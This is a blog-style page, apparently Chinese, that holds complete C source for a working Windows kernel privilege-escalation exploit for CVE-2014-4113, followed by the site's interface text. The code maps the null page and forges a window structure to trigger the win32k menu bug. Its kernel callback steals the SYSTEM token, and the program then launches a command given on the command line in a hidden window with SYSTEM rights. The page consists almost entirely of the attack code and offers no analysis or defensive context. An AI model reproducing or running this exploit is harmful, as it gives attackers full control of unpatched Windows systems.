4113_exp_code

//
// Cve-2014-4113 'win32/win64 exp C code' reversed from 'exe exp'
// 2014-11-10
// Compiled pass on VS2010
//

#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "user32.lib")


/

 
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
	HANDLE Section;
	PVOID  MappedBase;
	PVOID  Base;
	ULONG  Size;
	ULONG  Flags;
	USHORT LoadOrderIndex;
	USHORT InitOrderIndex;
	USHORT LoadCount;
	USHORT PathLength;
	CHAR   ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION {
	ULONG Count;
	SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

 



typedef LPVOID PEPROCESS ;
typedef LONG   (__stdcall *PZWQUERYSYSTENINFORMATION)(DWORD, PVOID, ULONG, PDWORD) ;
typedef LONG   (__stdcall *PZWALLOCATEVIRTUALMEMORY) (HANDLE, PVOID, ULONG, PULONG, 
                                                      ULONG, ULONG) ;
typedef LONG   (__stdcall *PLOOKUPPROCESSBYID)(HANDLE, PEPROCESS *) ;
typedef	LPVOID (__stdcall *PTICURRENT)() ;
  

PZWQUERYSYSTENINFORMATION fpQuerySysInfo       = NULL ;
PZWALLOCATEVIRTUALMEMORY  fpAllocateVirtualMem = NULL ;
PLOOKUPPROCESSBYID		  fpLookupProcessById  = NULL ;

DWORD dwTokenOffset = 0 ;
DWORD gFlag1  = 0 ;
DWORD gFlag2  = 0 ;
DWORD gFlag3  = 0 ;
 
WNDPROC lpPrevWndFunc   = NULL ;

DWORD dwCurProcessId    = 0  ;
DWORD dwSystemProcessId = 0  ;

//

void PrintMsg(const char *formatString, ...)
{
  va_list  va ; 
  va_start(va, formatString) ;
  vprintf(formatString, va) ;
  ExitProcess(0);
}

#ifdef _WIN64

DWORD InitTokenOffset()
{
	DWORD result;  
	OSVERSIONINFO VerInfo;  

	VerInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO) ;
	if (!GetVersionExA(&VerInfo))
	{
		printf("FAIL : GetVersion\n") ;
		ExitProcess(0) ;
  	}
  	
	result = 1;
	if (VerInfo.dwMajorVersion == 5)
	{
		dwTokenOffset = 0x160 ;
		gFlag2 = 1 ;
	}
	else if (VerInfo.dwMajorVersion == 6)
	{
		switch(VerInfo.dwMinorVersion)
		{
			case 0:
			{
				dwTokenOffset = 0x168 ;
				break ;
			}
			default:
			{
				dwTokenOffset = 0x208 ;
			}
		}
	}
	else
	{
		result = 0 ;
	}
	
	if(result == 0)
	{
		printf("FAIL : InitTokenOffset\n") ;
		ExitProcess(0) ;
	}
	
	return result;
}

#else

DWORD InitTokenOffset()
{
	DWORD result;  
	OSVERSIONINFO VerInfo;  

	VerInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO) ;
	if (!GetVersionExA(&VerInfo))
	{
		printf("FAIL : GetVersion\n") ;
		ExitProcess(0) ;
  	}
  	
	result = 1;
	if (VerInfo.dwMajorVersion == 5)
	{
		switch(VerInfo.dwMinorVersion)
		{
			case 0:
			{
				dwTokenOffset = 0x12C ;
				break ;
			}
			case 1:
			{
				dwTokenOffset = 0x0C8 ;
				break ;
			}
			case 2:
			{
				dwTokenOffset = 0x0D8 ;
				break ;
			}
			default:
			{
				dwTokenOffset = 0x0C8 ;
			}
		}
	}
	else if (VerInfo.dwMajorVersion == 6)
	{
		switch(VerInfo.dwMinorVersion)
		{
			case 0:
			{
				dwTokenOffset = 0x0E0 ;
				break ;
			}
			case 1:
			{
				dwTokenOffset = 0x0F8 ;
				break ;
			}
			default:
			{
				result = 0 ;
			}
		}
	}
	else
	{
		result = 0 ;
	}
	
	if(result == 0)
	{
		printf("FAIL : InitTokenOffset\n") ;
		ExitProcess(0) ;
	}
	
	return result;
}
#endif


HMODULE GetKrnlNtBase(char *szNtName)
{	
	char  Buffer[0xA]  ;
	DWORD dwRetLength ;
	
	DWORD SystemModuleInfo = 0x0B ;
	if(0xC0000004 != fpQuerySysInfo(SystemModuleInfo, Buffer, 0x0A, &dwRetLength))
	{
		printf("FAILED \n") ;
		ExitProcess(0) ;
	}
	
	PSYSTEM_MODULE_INFORMATION pBuf = (PSYSTEM_MODULE_INFORMATION)LocalAlloc(LMEM_ZEROINIT, 
	                                                                         dwRetLength) ;
	
	if(0 != fpQuerySysInfo(SystemModuleInfo, pBuf, dwRetLength, &dwRetLength))
	{
		printf("FAILED \n") ;
		ExitProcess(0) ;
	}	
 
 	PSYSTEM_MODULE_INFORMATION_ENTRY pModEntry = pBuf->Module ;
 	HMODULE hModuleBase = NULL ;
 	
	for(ULONG i = 0 ; i < pBuf->Count ; i++ )
  	{
  		//ASCII "\SystemRoot\system32\ntkrnlpa.exe"
	    if(strstr(pModEntry->ImageName, "nt") && strstr(pModEntry->ImageName, "exe"))
	    {
		    strcpy_s(szNtName, MAX_PATH, (char*)((ULONG_PTR)pModEntry->ImageName + pModEntry->PathLength)) ;
		    ///strncpy(szNtName, (char*)((ULONG_PTR)pModEntry->ImageName + pModEntry->PathLength), MAX_PATH) ;
		    hModuleBase = (HMODULE)(pModEntry->Base) ;
		    break ;
	    }
	    pModEntry++ ;
  	}
 
 	if(hModuleBase == NULL)
 	{
 		printf("FAIL : Get Ntoskrnl Base\n") ;
 		ExitProcess(0) ;
 	}
 	
  	LocalFree(pBuf);
  	return hModuleBase;
}


DWORD InitExpVars()
{
	HMODULE hNtdll ;
  
	hNtdll = LoadLibraryA("ntdll.dll");
 	
 	if(hNtdll == NULL)
 	{
 		printf("FAIL : hNtdll == NULL \n") ;
 		ExitProcess(0) ;
 	}
	
	fpQuerySysInfo = (PZWQUERYSYSTENINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
	fpAllocateVirtualMem = (PZWALLOCATEVIRTUALMEMORY)GetProcAddress(hNtdll, "ZwAllocateVirtualMemory");
  
  	if(!fpQuerySysInfo || !fpAllocateVirtualMem)
  	{
  		printf("FAIL : GetProcAddress ZwQuerySystemInformation or ZwAllocateVirtualMemory\n") ;
  		ExitProcess(0) ;
  	}
  	
	char NtKernelName[MAX_PATH] ;
  
	HMODULE hKrnlNtBase = GetKrnlNtBase(NtKernelName);
	HMODULE hUserNtBase = LoadLibraryA(NtKernelName);
 
	fpLookupProcessById = (PLOOKUPPROCESSBYID)((ULONG_PTR)GetProcAddress(hUserNtBase, \
  						  "PsLookupProcessByProcessId") - \
						  (ULONG_PTR)hUserNtBase + \
						  (ULONG_PTR)hKrnlNtBase ) ;

	dwCurProcessId      = GetCurrentProcessId() ;
	dwSystemProcessId   = 4 ;
  
	FreeLibrary(hUserNtBase);
  	
	return 1;
}


LPVOID CallPtiCurrent()  
{
	LPVOID  result = NULL ;
  	HMODULE hUser32 = NULL ;
  	PVOID   dstFunc ;
  	
	hUser32 = LoadLibraryA("user32.dll");
 
	if(hUser32)
	{
	    dstFunc = (PVOID)GetProcAddress(hUser32, "AnimateWindow");
	    if(gFlag2) // gFlag2 always zero in win32 exp
	    {
	      dstFunc = (PVOID)GetProcAddress(hUser32, "CreateSystemThreads");
	    }
	    if(dstFunc && *(WORD *)hUser32 == 0x5A4D )
	    {
	      IMAGE_NT_HEADERS *pPEHead = (IMAGE_NT_HEADERS *)((ULONG_PTR)hUser32 + \
		                              *(DWORD*)((ULONG_PTR)hUser32+0x3C)) ;
#ifdef _WIN64
	      ULONG_PTR ImageBase  = pPEHead->OptionalHeader.ImageBase;
	      ULONG_PTR ImageBound = pPEHead->OptionalHeader.SizeOfImage + ImageBase;
#else
	      DWORD ImageBase  = pPEHead->OptionalHeader.ImageBase;
	      DWORD ImageBound = pPEHead->OptionalHeader.SizeOfImage + ImageBase;
#endif
	      PBYTE p = (PBYTE)dstFunc ;
	      
	      // search function 'PtiCurrent' address in code segment
	      for(DWORD i = 0 ; i < 70 ; i++)
	      {
		      	if((*p == 0xE8 && gFlag2 == 0) || (*p == 0xE9 && gFlag2))
		      	{
		      			if(p < (PBYTE)ImageBase || p > (PBYTE)ImageBound) break ;
		      			
		      			PTICURRENT fpPtiCurrent ; 
						// jmp offset is 4 bytes and can be negative 
		      			fpPtiCurrent = (PTICURRENT)(*(INT *)(p+1) + (LONG_PTR)p + 5) ; 
		      			
		      			result = fpPtiCurrent() ; // result -> tagTHREADINFO 
		      			
		      			break ;
		      	}
		      	p++ ;
	      }
	    }
		FreeLibrary(hUser32);
	}
	return result ;
}


// This is our fake 'WndProc' used to exploit
LRESULT CALLBACK ShellCode(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
	PEPROCESS pCur, pSys ;
	fpLookupProcessById((HANDLE)dwCurProcessId,    &pCur);
	fpLookupProcessById((HANDLE)dwSystemProcessId, &pSys);
#ifdef _WIN64
	*(PVOID *)((ULONG_PTR)pCur + dwTokenOffset) = *(PVOID *)((ULONG_PTR)pSys + dwTokenOffset);
#else
	*(PVOID *)((DWORD)pCur + dwTokenOffset) = *(PVOID *)((DWORD)pSys + dwTokenOffset);
#endif
	return  0 ;
}


DWORD  InitExploitMem(LPVOID *pAllocAddr)  
{
	LPVOID pThreadInfo = CallPtiCurrent() ;

#ifdef _WIN64
	*(DWORD*)pAllocAddr = 0xFFFFFFFB ; 
#else
	*(DWORD*)pAllocAddr = 1 ;
#endif

	ULONG uRegionSize  = 0x2000 ;
  
	LONG iret = fpAllocateVirtualMem(  GetCurrentProcess(), 
  									   pAllocAddr, 0, &uRegionSize,  
  									   MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, 
						  			   PAGE_EXECUTE_READWRITE ) ;
	if(iret)
	{
		printf("Allocate Mem Failed \n") ;
		ExitProcess(0) ;
	}

	// fill fake tagWND struct
#ifdef _WIN64
	*(PVOID *)(0x10000000B) = pThreadInfo ;
	*(BYTE *) (0x100000025) = 4 ;                 // 0x100000025-0xFFFFFFFB=0x2A, bServerSideWindowProc
	*(PVOID *)(0x10000008B) = (PVOID)ShellCode ;  // 0x10000008B-0xFFFFFFFB=0x90, lpfnWndProc
#else
	*(PVOID*)(0x3)  =  pThreadInfo ;              // 3-(-5)    = 8   
	*(BYTE*) (0x11) = (BYTE)4 ;                   // 17-(-5)   = 0x16, bServerSideWindowProc 
	*(PVOID*)(0x5B) = (PVOID)ShellCode ;          // 0x5B-(-5) = 0x60, lpfnWndProc
#endif  

	return 1;
}


LRESULT CALLBACK MyWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
	if(uMsg == WM_ENTERIDLE) // 0x121
	{
		if (gFlag1 != 1)
		{
			gFlag1 = 1;
			PostMessageA(hWnd, WM_KEYDOWN, 0x28, 0) ;  
			PostMessageA(hWnd, WM_KEYDOWN, 0x27, 0) ; 
			PostMessageA(hWnd, WM_LBUTTONDOWN, 0x00, 0) ;  
		}  
	}
	return DefWindowProcA(hWnd, uMsg, wParam, lParam) ;
}


HMENU InitPopupMenu() 
{
	MENUITEMINFO Item1,  Item2 ;
	HMENU        hMenu1, hMenu2 ;
	
	memset(&Item1, 0, sizeof(Item1));
	memset(&Item2, 0, sizeof(Item2));

	hMenu1 = CreatePopupMenu();
	if(hMenu1 == NULL) return 0 ;
	
 	Item1.cbSize = sizeof(Item1) ;
    Item1.fMask  = MIIM_STRING ; // Retrieves or sets the dwTypeData member.
 	if(FALSE == InsertMenuItemA(hMenu1, 0, TRUE, &Item1))
 	{
 		DestroyMenu(hMenu1) ;
	 	return NULL ; 	
 	}
	
	hMenu2 = CreatePopupMenu() ;
	if(hMenu2 == NULL) return NULL ;
  
	static char szMenuText[2] = " " ;

	Item2.fMask      = MIIM_STRING | MIIM_SUBMENU ;
	Item2.dwTypeData = szMenuText ;
	Item2.cch        = 1 ;             // length of szMenuText
	Item2.hSubMenu   = hMenu1 ;
	Item2.cbSize     = sizeof(Item2) ;
	
 	if(FALSE == InsertMenuItemA(hMenu2, 0, TRUE, &Item2))
 	{
 		printf("InsertMenuItem FAIL [%d] !\n", GetLastError()) ;
 		DestroyMenu(hMenu1) ;
 		DestroyMenu(hMenu2) ;
	 	return NULL  ; 	
 	}
 	return hMenu2 ;
}


LRESULT CALLBACK NewWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
	if(uMsg != 0x1EB)
	{
		return CallWindowProcA(lpPrevWndFunc, hWnd, uMsg, wParam, lParam) ;
	}
	EndMenu() ;
	return (DWORD)(-5) ; // DWORD 
}

 
LRESULT CALLBACK WndProcHook(int nCode, WPARAM wParam, LPARAM lParam)
{
	CWPSTRUCT *pWndProcArgs = (CWPSTRUCT*)lParam ;
	
	if(pWndProcArgs->message == 0x1EB) // MN_FINDMENUWINDOWFROMPODWORD
 	{
  		if(!gFlag3)
  		{
			gFlag3 = 1 ;
			if(UnhookWindowsHook(WH_CALLWNDPROC, WndProcHook))
			{
#ifdef _WIN64
				lpPrevWndFunc = (WNDPROC)SetWindowLongPtrA( pWndProcArgs->hwnd, 
				                                            GWLP_WNDPROC, 
														    (LONG_PTR)NewWndProc ) ; // LONG_PTR
#else

				lpPrevWndFunc = (WNDPROC)SetWindowLongA( pWndProcArgs->hwnd, 
				                                         GWL_WNDPROC, 
														 (LONG)NewWndProc ) ;        // LONG
#endif
			}
		}
	} 
	return CallNextHookEx(NULL, nCode, wParam, lParam);	
}


DWORD WINAPI ThreadProc(LPVOID lParam) 
{
	WNDCLASS    wc ;
	SYSTEM_INFO SystemInfo ;
	HWND        hWnd ;
  	DWORD       result = 0 ;
  	LPVOID 		pAllocAddr ;
  	
	memset(&SystemInfo, 0, sizeof(SystemInfo));
	memset(&wc, 0, sizeof(wc));
  
	wc.lpfnWndProc   = MyWndProc ;  
	wc.lpszClassName = "woqunimalegebi" ;
  
	GetNativeSystemInfo(&SystemInfo);

#ifdef _WIN64
	if(SystemInfo.dwOemId == PROCESSOR_ARCHITECTURE_INTEL) 
	{
		printf("System Is Not Win64\n") ;
		ExitProcess(0) ;
	}
#else
	if(SystemInfo.dwOemId == PROCESSOR_ARCHITECTURE_AMD64) 
	{
		printf("System Is Not Win32\n") ;
		ExitProcess(0) ;
	}
#endif


	RegisterClassA(&wc) ;
	hWnd = CreateWindowExA(0, wc.lpszClassName, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0) ;
	if(hWnd == NULL) return 0 ;
 
	InitExploitMem(&pAllocAddr) ;
	
	HMENU hMenu2 = InitPopupMenu();
	
	if(hMenu2)
	{
		DWORD dwThreadId = GetCurrentThreadId();
		if(SetWindowsHookExA(WH_CALLWNDPROC,  WndProcHook, 0, dwThreadId))
		{
			// trigger
#ifdef _WIN64
			if(TrackPopupMenu(hMenu2, 0, 0xFFFFD8F0, 0xFFFFD8F0, 0, hWnd, 0))
#else
			if(TrackPopupMenu(hMenu2, 0, -10000, -10000, 0, hWnd, 0))
#endif
			{
				PostMessageA(hWnd, 0, 0, 0);
				result = 1;
			}
		} 	
	}
 
	DestroyWindow(hWnd) ;
	if (hMenu2)
	{
		DestroyMenu(hMenu2);
	}
	UnhookWindowsHook(WH_CALLWNDPROC, WndProcHook);
	VirtualFree(pAllocAddr, 0, MEM_RELEASE);
	return result;
}


DWORD main(DWORD argc, char *argv[])
{
 	InitTokenOffset() ;

	InitExpVars() ;
	
  	HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ThreadProc, 0, 0, 0);
 
	if(WaitForSingleObject(hThread, 300000))
	{
    	TerminateThread(hThread, 0);
    	PrintMsg("FAIL [%d]\n", GetLastError()) ; 
  	}	
  	
	if(argv[1])
  	{
  		STARTUPINFO 	    StartupInfo ;
  		PROCESS_INFORMATION ProcessInfo ;
  		
		memset(&StartupInfo, 0, sizeof(StartupInfo)) ;
		memset(&ProcessInfo, 0, sizeof(ProcessInfo)) ;
    
		StartupInfo.cb = sizeof(STARTUPINFO) ;
		StartupInfo.wShowWindow = SW_HIDE ;
		StartupInfo.dwFlags     = STARTF_USESHOWWINDOW ;
	    CreateProcessA(0, argv[1], 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInfo) ;
		WaitForSingleObject(ProcessInfo.hProcess, 60000) ;
		CloseHandle(ProcessInfo.hProcess) ;
		CloseHandle(ProcessInfo.hThread) ;
	}
	return 0 ;
}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值